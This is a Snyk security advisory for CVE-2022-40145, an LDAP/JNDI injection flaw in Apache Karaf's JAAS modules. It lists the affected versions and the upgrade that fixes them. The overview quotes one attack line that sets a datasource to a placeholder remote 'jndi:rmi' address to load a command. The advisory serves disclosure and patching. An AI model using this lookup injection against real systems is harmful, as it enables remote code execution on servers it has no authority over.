LDAP Injection Affecting org.apache.karaf.jaas:org.apache.karaf.jaas.modules package, versions [,4.3.8)[4.4.0,4.4.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.09% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about LDAP Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGAPACHEKARAFJAAS-3180032
  • published22 Dec 2022
  • disclosed21 Dec 2022
  • creditUnknown

Introduced: 21 Dec 2022

CVE-2022-40145  (opens in a new tab)
CWE-90  (opens in a new tab)

How to fix?

Upgrade org.apache.karaf.jaas:org.apache.karaf.jaas.modules to version 4.3.8, 4.4.2 or higher.

Overview

org.apache.karaf.jaas:org.apache.karaf.jaas.modules is a bundle that provides JAAS modules which can be used in Karaf (LDAP, JDBC, etc).

Affected versions of this package are vulnerable to LDAP Injection when the doCreateDatasource function uses InitialContext.lookup(jndiName) without filtering, which allows a user to use options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. Exploiting this vulnerability is possible by an attacker controlling the target LDAP server, when the JNDI LDAP data source URI is configured.

CVSS Scores

version 3.1